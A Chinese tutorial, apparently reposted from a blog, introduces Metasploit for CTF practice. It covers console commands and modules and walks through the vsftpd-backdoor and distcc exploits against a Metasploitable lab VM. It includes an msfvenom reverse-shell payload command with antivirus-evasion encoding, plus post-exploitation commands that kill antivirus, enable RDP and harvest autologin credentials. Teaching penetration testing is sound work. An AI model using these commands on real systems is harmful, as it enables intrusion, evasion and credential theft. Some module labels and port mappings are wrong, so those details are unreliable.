CTF之灵活多变——利用Metaploit来获取系统控制权

admin 2026-06-17 05:00:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统介绍了Metasploit渗透测试框架的核心功能与应用方法,包括框架定义、安装步骤、基础命令操作及五大模块功能解析。重点展示了如何通过vsftpd后门和distcc漏洞实战获取Metasploitable靶机控制权,并强调必须在合法授权前提下使用该工具。文档提供了完整的漏洞利用流程和免杀载荷生成指南。 综合评分: 73 文章分类: 渗透测试,红队,漏洞分析,实战经验,安全工具


cover_image

CTF之灵活多变——利用Metaploit来获取系统控制权

原创

书中自有代码来 书中自有代码来

书中自有代码来

2026年6月14日 20:53 四川

在小说阅读器读本章

去阅读

一、什么是Metaploit

Metasploit 是一款由 Rapid7 公司管理的开源渗透测试框架,最初由 H.D. Moore 于2003年发布,采用 Ruby 语言编写。它采用高度模块化的设计,内置了成千上万个漏洞利用模块、攻击载荷、辅助模块和后渗透模块等。安全研究人员和渗透测试人员可以通过它方便地进行信息收集、漏洞扫描、漏洞验证以及后渗透测试等操作。Metasploit 极大地降低了漏洞利用的门槛,使得相关的攻击工具更易被获取和使用。在合法授权的前提下,它能帮助企业和IT专业人士识别系统安全性问题、验证缓解措施的有效性并提供真正的安全风险情报;但同时,该工具也常被黑客用于恶意攻击。因此,使用 Metasploit 必须严格遵守法律法规与道德规范,仅限于授权的安全评估与防御研究。

二、Metaploit的安装

参考:Metasploit | Penetration Testing Software, Pen Testing Security | Metasploit

Ubuntu/Debian

sudo apt update
sudo apt install metasploit-framework

从源码编译安装

git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
bundle install

Windows安装

  1. 下载安装程序
  2. 安装后将安装路径添加到path中即可

请一并安装PostgreSQL数据库存储数据,然后使用msfconsole命令测试

三、Metaploit的基本使用

  1. 启动Metaploit
msfconsole

# 静默启动
msfconsole -q
  1. 搜索模块、漏洞、poc
search xxx

#可以使用多个条件:search name:xxx type:auxiliary
  1. 使用模块、利用漏洞对应的模块
use xxx

xxx可以是完整名称也可以是编号

  1. 查看模块对应的配置(要先use模块才能使用)
show options
  1. 设置攻击载荷
set payload

# 设置目标ip
set RHOSTS x.x.x.x

# 设置本地ip
set LHOST
  1. 执行攻击
run

# 或 exploit
  1. 运行带有msf指令的脚本文件
msfconsole -r xxx
  1. 查看msf版本
msfconsole -v

9.退出

exit

10.查看模块信息

info
  1. 重新加载所有模块
reload_all
  1. 切换模块
back
  1. 检测是否有漏洞的可能性
check
  1. 会话管理指令
#列出所有会话
sessions -l

#终止所有会话
sessions -K

#进入某个会话
sessions -i id

#以详细模式列出会话
sessions -v

#将shell升级到meterpreter会话
sessions -u

其他指令:Metasploit(MSF)使用教程

四、Metaploit的常用模块

(一)auxiliary

auxiliary是msf的辅助模块部分,主要用于信息收集、漏洞扫描等前置操作,不执行真正的漏洞利用部分。

调用该部分模块:

use auxiliary/xxx

常用模块:

端口扫描

use auxiliary/scanner/portmap/portmap_amp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas

服务扫描

auxiliary/scanner/ssh/ssh_login        #SSH爆破
auxiliary/scanner/vnc/vnc_none_auth    #VNC空口令扫描
auxiliary/scanner/telnet/telnet_login#SSH爆破
auxiliary/scanner/smb/smb_version    #SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers    #SMB枚举
auxiliary/scanner/smb/smb_login        #SMB弱口令登录
auxiliary/admin/smb/psexec_command    #登录SMB且执行命令

auxiliary/scanner/mssql/mssql_ping    #MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum    #MSSQL枚举
auxiliary/scanner/mysql/mysql_login    #MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum    #MySQL枚举

(二)exploits

exploits是msf的攻击模块部分,主要用于漏洞攻击、后门利用等操作,是渗透测试的主要部分。

调用该部分模块:

use exploits/xxx

例如永恒之蓝:

use exploit/windows/smb/ms17_010_eternalblue

(三)payloads

payloads是msf的攻击载荷生成部分,是注入后门、远程攻击的重要一环,是渗透人员模拟木马的一种手段。

调用该部分模块:

use payloads/xxx

例如nc反弹:

use windows/meterpreter_reverse_http
-E   强制编码
-e   要使用的编码器模块的名称
-f   输出文件名(否则为stdout)
-t   输出格式: raw,ruby,rb,perl,pl,c,java,dll,exe,elf,vbs,asp,war等
-b   要避免的字符列表: '\x00\xff'

(四)post

post是msf的后渗透模块,常常用于在渗透测试通过之后收集目标相关信息以便后续的提权、破解等操作,是渗透测试的高级工作。

调用该部分模块:

use post/xxx

常用信息获取:

run post/windows/gather/checkvm        #检查目标是否虚拟机
run post/linux/gather/checkvm
run post/windows/manage/killav        #关闭杀软
run post/windows/manage/enable_rdp    #开启目标远程桌面
run post/windows/gather/enum_logged_on_users    #列举当前登陆用户,和最近登陆过的用户
run post/windows/gather/enum_applications        #列举应用程序
run windows/gather/credentials/windows_autologin#列举自动登陆的用户名和密码

参考:Metasploit Unleashed | Post Module Reference

(五)encoders

encoders是msf的免杀模块,通过伪装等操作来绕过杀毒软件的查杀,从而顺利执行程序。

生成免杀程序获取:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=Kali的IP LPORT=Kali监听端口 -f exe > msf.exe
参数选项:
-p            指定的payload
-e             编码器,x86/shikata_ga_nai
-i            迭代器,对有效载荷的编码次数
-f            输出文件的格式,exe、dll、raw

五、案例——Metasploitable靶机

(一)靶机安装

  1. 下载靶机,Metasploitable download | SourceForge.net
  2. 导入虚拟机,启动即可,账号密码均为msfadmin

(二)使用msf快速获取靶机信息

6200——-vsftpd_234_backdoor

  1. 使用search vsftpd查找攻击载荷,结果如下:

  1. 使用use exploit/unix/ftp/vsftpd_234_backdoor利用后门,使用show options

查看配置参数。

  1. 配置好参数后使用exploit启动攻击,获取到用户shell:

1099——-distcc程序漏洞—-ingrelock

  1. 查找可以用的脚本,结果如下:

  1. 使用use 0利用脚本,配置参数后exploit获取shell。

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:书中自有代码来 书中自有代码来 书中自有代码来《CTF之灵活多变——利用Metaploit来获取系统控制权》

评论:0   参与:  0